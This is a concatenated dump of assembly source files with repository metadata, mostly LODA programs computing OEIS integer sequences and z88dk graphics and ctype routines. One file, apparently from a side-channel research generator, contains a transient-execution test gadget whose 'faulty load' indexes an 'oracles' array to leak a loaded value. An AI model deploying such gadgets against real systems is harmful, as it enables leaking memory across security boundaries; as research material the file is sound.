; A099448: A Chebyshev transform of A030191 associated to the knot 7_6. ; Submitted by Jamie Morken(s4) ; 1,5,19,65,216,715,2369,7855,26051,86400,286549,950345,3151831,10453085,34667784,114976135,381319781,1264651795,4194233399,13910227200,46133441401,153002131805,507433471819,1682909416265,5581389996216 mov $1,1 mov $4,1 lpb $0 sub $0,1 add $3,$1 add $3,1 add $2,$3 add $4,$2 add $1,$4 sub $1,$2 add $4,$1 lpe mov $0,$4
24.444444
201
0.722727
6bf3ce0c551af083f25875a8ade37622bf756c44
230
asm
Assembly
libsrc/graphics/tiki100/w_pointxy.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/graphics/tiki100/w_pointxy.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/graphics/tiki100/w_pointxy.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; ; Generic pseudo graphics routines for text-only platforms ; ; Point pixel at (x,y) coordinate. SECTION code_graphics PUBLIC w_pointxy defc NEEDpoint= 1 .w_pointxy INCLUDE "w_pixel.asm"
14.375
64
0.643478
a1f63682fd6e0951f01f94ac0fc01154537669c7
248
asm
Assembly
libsrc/_DEVELOPMENT/ctype/z80/asm_isgraph.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/ctype/z80/asm_isgraph.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/ctype/z80/asm_isgraph.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_ctype PUBLIC asm_isgraph asm_isgraph: ; determine if char is visible -- satisfies isprint except space ; enter : a = char ; exit : carry if not isgraph ; uses : f cp 33 ret c cp 127 ccf ret
12.4
67
0.608871
1b2a9cc462b28e70cf41f0bed61011aa4c596fd8
741
asm
Assembly
programs/oeis/047/A047866.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/047/A047866.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/047/A047866.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A047866: a(n) = ceiling(n*(n+1)*(n+2)/8). ; 0,1,3,8,15,27,42,63,90,124,165,215,273,342,420,510,612,727,855,998,1155,1329,1518,1725,1950,2194,2457,2741,3045,3372,3720,4092,4488,4909,5355,5828,6327,6855,7410,7995,8610,9256,9933,10643,11385,12162,12972,13818,14700,15619,16575,17570,18603,19677,20790,21945,23142,24382,25665,26993,28365,29784,31248,32760,34320,35929,37587,39296,41055,42867,44730,46647,48618,50644,52725,54863,57057,59310,61620,63990,66420,68911,71463,74078,76755,79497,82302,85173,88110,91114,94185,97325,100533,103812,107160,110580,114072,117637,121275,124988 mov $4,$0 mov $0,5 mov $2,$4 add $2,2 mov $1,$2 mov $3,1 mov $5,$4 add $5,1 lpb $0 sub $0,1 mul $1,$5 mov $5,$4 mov $4,$3 lpe add $1,6 div $1,8 mov $0,$1
35.285714
533
0.723347
314e23fbfe64bb536df06b8d75017d502339d4bb
300
asm
Assembly
oeis/021/A021261.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021261.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021261.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021261: Decimal expansion of 1/257. ; 0,0,3,8,9,1,0,5,0,5,8,3,6,5,7,5,8,7,5,4,8,6,3,8,1,3,2,2,9,5,7,1,9,8,4,4,3,5,7,9,7,6,6,5,3,6,9,6,4,9,8,0,5,4,4,7,4,7,0,8,1,7,1,2,0,6,2,2,5,6,8,0,9,3,3,8,5,2,1,4,0,0,7,7,8,2,1,0,1,1,6,7,3,1,5,1,7,5,0 add $0,1 mov $2,10 pow $2,$0 div $2,257 mov $0,$2 mod $0,10
30
199
0.54
02315710d01c40072b209072f3f98dcfc974d5c1
8,585
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1904.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1904.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1904.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x764f, %r11 nop sub $13045, %r14 movw $0x6162, (%r11) xor %r15, %r15 lea addresses_WT_ht+0xa84f, %r9 nop nop nop nop lfence movb (%r9), %r11b nop nop nop nop and $43302, %r15 lea addresses_WC_ht+0x3c4f, %r15 clflush (%r15) nop nop nop nop add %rdi, %rdi movl $0x61626364, (%r15) nop inc %rdx lea addresses_D_ht+0x1784f, %rsi lea addresses_A_ht+0x1e44f, %rdi nop nop nop nop sub $18895, %r10 mov $11, %rcx rep movsl nop nop nop and %r14, %r14 lea addresses_normal_ht+0x67b8, %rcx nop dec %r14 mov (%rcx), %r15d nop nop sub %rsi, %rsi lea addresses_WC_ht+0x1852d, %rsi nop nop xor %r15, %r15 movb (%rsi), %r9b nop nop nop nop dec %r10 lea addresses_WC_ht+0x844f, %r15 nop sub %rdi, %rdi mov (%r15), %r10 nop nop nop dec %rcx lea addresses_WT_ht+0xf5cf, %rdx nop nop nop xor %r14, %r14 vmovups (%rdx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r10 nop cmp %rsi, %rsi lea addresses_A_ht+0x7e4f, %r14 nop nop nop nop cmp %r11, %r11 vmovups (%r14), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rdx nop nop nop and %r11, %r11 lea addresses_A_ht+0x652f, %rsi lea addresses_WC_ht+0x2e0f, %rdi clflush (%rdi) nop nop nop add $365, %rdx mov $33, %rcx rep movsl nop nop add $58165, %rsi lea addresses_UC_ht+0x1a54f, %rsi lea addresses_WC_ht+0x2fcf, %rdi nop nop nop nop sub $40689, %rdx mov $39, %rcx rep movsw add %rdx, %rdx lea addresses_UC_ht+0x68c5, %rsi lea addresses_D_ht+0xf14f, %rdi clflush (%rsi) nop nop inc %r11 mov $102, %rcx rep movsl nop nop nop nop nop dec %r11 lea addresses_normal_ht+0x11c4f, %r14 nop nop nop nop nop add %r10, %r10 movl $0x61626364, (%r14) nop nop and %r10, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_normal+0xebcf, %rdi nop nop and %rdx, %rdx mov $0x5152535455565758, %r8 movq %r8, %xmm5 movups %xmm5, (%rdi) nop nop sub $5520, %r15 // Store lea addresses_A+0xbdf, %r8 nop cmp %rbp, %rbp movl $0x51525354, (%r8) add %rbp, %rbp // Store lea addresses_WC+0xc84f, %r8 sub $62884, %rdx mov $0x5152535455565758, %rbp movq %rbp, %xmm0 movups %xmm0, (%r8) nop nop nop nop nop add %r10, %r10 // REPMOV lea addresses_normal+0x344f, %rsi lea addresses_D+0x1004f, %rdi nop nop nop nop sub $46709, %rbp mov $60, %rcx rep movsq nop nop nop nop nop and $25124, %r10 // Store lea addresses_A+0x1034f, %r15 nop nop dec %r8 movl $0x51525354, (%r15) nop nop nop cmp $27046, %rbp // Faulty Load lea addresses_WT+0x18c4f, %rsi nop nop cmp $51491, %rbp mov (%rsi), %r10d lea oracles, %r8 and $0xff, %r10 shlq $12, %r10 mov (%r8,%r10,1), %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_normal', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
30.99278
2,999
0.654514
c0814d2ea0b81a899d5f06d70472ed29a4d055cb
1,836
asm
Assembly
programs/oeis/292/A292290.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/292/A292290.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/292/A292290.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A292290: Number of vertices of type A at level n of the hyperbolic Pascal pyramid. ; 0,0,3,6,12,27,66,168,435,1134,2964,7755,20298,53136,139107,364182,953436,2496123,6534930,17108664,44791059,117264510,307002468,803742891,2104226202,5508935712,14422580931,37758807078,98853840300,258802713819,677554301154,1773860189640,4644026267763,12158218613646,31830629573172,83333670105867,218170380744426,571177472127408,1495362035637795,3914908634785974,10249363868720124,26833182971374395,70250185045403058,183917372164834776,481501931449101267,1260588422182469022,3300263335098305796,8640201583112448363,22620341414239039290,59220822659604669504,155042126564574969219,405905557034120238150,1062674544537785745228,2782118076579236997531,7283679685199925247362,19068920979020538744552,49923083251861690986291,130700328776564534214318,342177903077831911656660,895833380456931200755659,2345322238292961690610314,6140133334421953871075280,16075077764972899922615523,42085099960496745896771286,110180222116517337767698332,288455566389055267406323707,755186477050648464451272786,1977103864762890125947494648,5176125117238021913391211155,13551271486951175614226138814,35477689343615504929287205284,92881796543895339173635477035,243167700288070512591619225818,636621304320316198601222200416,1666696212672878083212047375427,4363467333698318051034919925862,11423705788422076069892712402156,29907650031567910158643217280603,78299244306281654406036939439650,204990082887277053059467601038344,536671004355549504772365863675379,1405022930179371461257629989987790,3678397786182564879000524106287988,9630170428368323175743942328876171,25212113498922404648231302880340522,66006170068398890768949966312145392,172806396706274267658618596056095651,452413020050423912206905821856141558 sub $0,1 lpb $0 sub $0,1 add $1,$2 add $2,$1 add $1,3 lpe mov $0,$1
153
1,673
0.918845
8389a3241cad848c262a623201130ac2ed57c08c
372
asm
Assembly
programs/oeis/204/A204429.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/204/A204429.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/204/A204429.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A204429: Symmetric matrix: f(i,j)=(2i+j mod 3), by antidiagonals. ; 1,0,0,2,2,2,1,1,1,1,0,0,0,0,0,2,2,2,2,2,2,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0 seq $0,204421 ; Symmetric matrix: f(i,j)=(i+j+2 mod 3), by antidiagonals. sub $1,$0 add $1,2 mov $0,$1
46.5
199
0.567204
f511c8323706da60ae2b72fe550505abf8948204
418
asm
Assembly
audio/sfx/battle_2f.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
audio/sfx/battle_2f.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
audio/sfx/battle_2f.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
SFX_Thunderbolt_Ch1: dutycycle 43 unknownsfx0x20 3, 241, 240, 7 unknownsfx0x20 4, 242, 0, 2 loopchannel 8, SFX_Thunderbolt_Ch1 endchannel SFX_Thunderbolt_Ch2: dutycycle 179 unknownsfx0x20 4, 226, 2, 2 unknownsfx0x20 4, 225, 226, 7 loopchannel 9, SFX_Thunderbolt_Ch2 endchannel SFX_Thunderbolt_Ch3: unknownnoise0x20 4, 255, 67 unknownnoise0x20 4, 242, 68 loopchannel 9, SFX_Thunderbolt_Ch3 endchannel
19
35
0.791866
2e0698290b57fe97e3eba9eb875db5894048f937
276
asm
Assembly
programs/oeis/089/A089145.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/089/A089145.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/089/A089145.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A089145: Greatest common divisor of n^2-3 and n^2+3. ; 3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6,1,2,3,2,1,6 add $0,3 gcd $0,6
46
201
0.539855
b411d27f778342ad4f0a11cdf023953c85c5a452
685
asm
Assembly
oeis/023/A023948.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/023/A023948.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/023/A023948.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A023948: Expansion of 1/((1-x)(1-5x)(1-11x)(1-12x)). ; Submitted by Jon Maiga ; 1,29,566,9346,141027,2013855,27722632,371889332,4894555493,63487825921,814150878138,10345138210758,130470568108999,1635266348565827,20389018656020684,253092309224759224,3129772840309595145,38576591463126787173,474131593499421127870,5812916601195807944330,71111711604789283391531,868264376148353317107559,10583334722560173124561296,128805800982202505200559676,1565533239287220573140019757,19004898774327871525592768585,230462284225490574583382026562,2791985898984317399785695942862 add $0,2 lpb $0 sub $0,1 add $2,2 mul $2,11 mul $3,12 add $3,$1 mul $1,5 add $1,$2 lpe mov $0,$3 div $0,22
40.294118
482
0.823358
a95b5181d497ef3f6c4460b6784859ee70db7586
875
asm
Assembly
programs/oeis/051/A051740.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/051/A051740.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/051/A051740.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A051740: Partial sums of A007584. ; 1,11,45,125,280,546,966,1590,2475,3685,5291,7371,10010,13300,17340,22236,28101,35055,43225,52745,63756,76406,90850,107250,125775,146601,169911,195895,224750,256680,291896,330616,373065,419475,470085,525141,584896,649610,719550,794990,876211,963501,1057155,1157475,1264770,1379356,1501556,1631700,1770125,1917175,2073201,2238561,2413620,2598750,2794330,3000746,3218391,3447665,3688975,3942735,4209366,4489296,4782960,5090800,5413265,5750811,6103901,6473005,6858600,7261170,7681206,8119206,8575675,9051125,9546075,10061051,10596586,11153220,11731500,12331980,12955221,13601791,14272265,14967225,15687260,16432966,17204946,18003810,18830175,19684665,20567911,21480551,22423230,23396600,24401320,25438056,26507481,27610275,28747125,29918725 add $0,1 lpb $0 sub $0,1 add $2,1 add $4,$2 add $2,6 add $3,$4 add $1,$3 lpe mov $0,$1
62.5
738
0.812571
401b9a89b0e48a0f10d49dfeea6ab6772e077562
1,110
asm
Assembly
programs/oeis/164/A164605.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/164/A164605.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/164/A164605.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A164605: a(n) = ((1+4*sqrt(2))*(4+2*sqrt(2))^n + (1-4*sqrt(2))*(4-2*sqrt(2))^n)/2. ; 1,20,152,1056,7232,49408,337408,2304000,15732736,107429888,733577216,5009178624,34204811264,233565061120,1594881998848,10890535501824,74365228023808,507797540175872,3467458497216512,23677287656325120,161678633272868864,1104010764932349952,7538657053275848704,51477170306747990016,351508106027777130496,2400247485768233123840,16389915037923647946752,111917340417243318583296,764219403034557365092352,5218416500938512372072448,35633576783231640055840768,243321282258345021470146560,1661501643800907051314446336,11345442892340496238754398208,77471529988316713499519614976,529008696767809738086121734144,3612297334235944196692816953344,24666309099745075668853561753600,168432094124073051777285958402048,1150126280194623808867459173187584,7853553488564406056721385718284288,53627417666958257982831412360773632,366190913427150815408880213139914752 mul $0,2 mov $1,2 mov $2,1 lpb $0 sub $0,2 mul $1,2 add $2,1 mul $2,2 add $2,2 add $2,$1 add $1,1 mul $1,2 sub $1,1 add $1,$2 add $1,2 lpe sub $1,1 mov $0,$1
50.454545
843
0.834234
60b6fa3d684b9e9a7c1b0fbebbb7518914945cb4
349
asm
Assembly
tests/blocks/B002.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
tests/blocks/B002.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
69
2021-08-28T10:34:30.000Z
2022-03-20T19:16:19.000Z
tests/blocks/B002.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; in mov $2,1 mov $4,$0 add $0,8 add $4,1 add $2,$4 mov $1,$2 mul $1,2 mov $3,120 mul $4,2 pow $4,2 div $4,$0 add $3,$4 add $1,$3 mul $1,5 sub $1,620 div $1,5 add $1,1 ; out ; 1 mov $1,$2 mul $1,2 mov $3,120 mul $4,2 pow $4,2 ; 1 mov $2,1 mov $4,$0 add $0,8 add $4,1 add $2,$4 ; 1 div $4,$0 add $3,$4 add $1,$3 mul $1,5 sub $1,620 div $1,5 add $1,1
8.725
10
0.532951
42cd561c84cb0c1694ffb61497d776cce8d98cd1
428
asm
Assembly
programs/oeis/077/A077880.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/077/A077880.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/077/A077880.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A077880: Expansion of (1-x)^(-1)/(1-2*x^2+x^3). ; 1,1,3,2,6,2,11,-1,21,-12,44,-44,101,-131,247,-362,626,-970,1615,-2565,4201,-6744,10968,-17688,28681,-46343,75051,-121366,196446,-317782,514259,-832009,1346301,-2178276,3524612,-5702852,9227501,-14930315,24157855,-39088130,63246026,-102334114 mov $3,$0 cal $0,119282 ; Alternating sum of the first n Fibonacci numbers. add $0,2 mov $2,4 add $2,$3 add $0,$2 mov $1,$0 sub $1,5
35.666667
243
0.689252
cf5ed923ca09ba25c0419b37973057e621615e16
325
asm
Assembly
Old Programmes/8085/Addition/N_ADD_16.asm
illuminati-inc-2020/school
f22d640abd5505889bcfa9f7880c90a1b6e79635
[ "CC0-1.0" ]
null
null
null
Old Programmes/8085/Addition/N_ADD_16.asm
illuminati-inc-2020/school
f22d640abd5505889bcfa9f7880c90a1b6e79635
[ "CC0-1.0" ]
null
null
null
Old Programmes/8085/Addition/N_ADD_16.asm
illuminati-inc-2020/school
f22d640abd5505889bcfa9f7880c90a1b6e79635
[ "CC0-1.0" ]
null
null
null
